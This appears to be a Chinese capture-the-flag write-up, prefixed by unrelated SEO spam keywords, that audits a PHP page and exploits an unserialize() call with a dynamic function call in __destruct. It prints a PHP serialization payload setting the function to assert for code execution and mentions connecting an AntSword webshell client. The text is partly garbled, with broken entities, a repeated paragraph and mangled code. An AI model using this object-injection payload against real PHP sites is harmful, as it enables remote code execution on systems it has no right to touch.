枣强网站建设培训学校,宁波网络推广策划,瑞昌网络推广,更改wordpress语言设置打开题目 直接查看源代码 打开源代码发现了个./time.php?source
访问一下 审计代码#xff1a;
现存在反序列化语句#xff1a;$ppp unserialize($_GET[data]);和执行漏洞#xff1a;echo $b($a);
发现在__destruct()方法里面有 echo $b($a);
这个是php的…打开题目 直接查看源代码 打开源代码发现了个./time.php?source
访问一下 审计代码
现存在反序列化语句$ppp unserialize($_GET[data]);和执行漏洞echo $b($a);
发现在__destruct()方法里面有 echo $b($a);
这个是php的特性php可以通过这种方法动态调用方法。
思路很简单只要把$b赋值为方法名字吧$a赋值成调用的参数就行了。
payload
?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this-a phpinfo();$this-b assert;}public function __destruct(){$a $this-a;$b $this-b;echo $b($a);}
}
$c new HelloPhp;$ppp serialize($c);
echo $ppp;
?将得到的payload上传 发现成功了于是可以用蚁剑连接但是这个题目用蚁剑连接以后是空白一片于是考虑可能是在phpinfo()里面 得到flag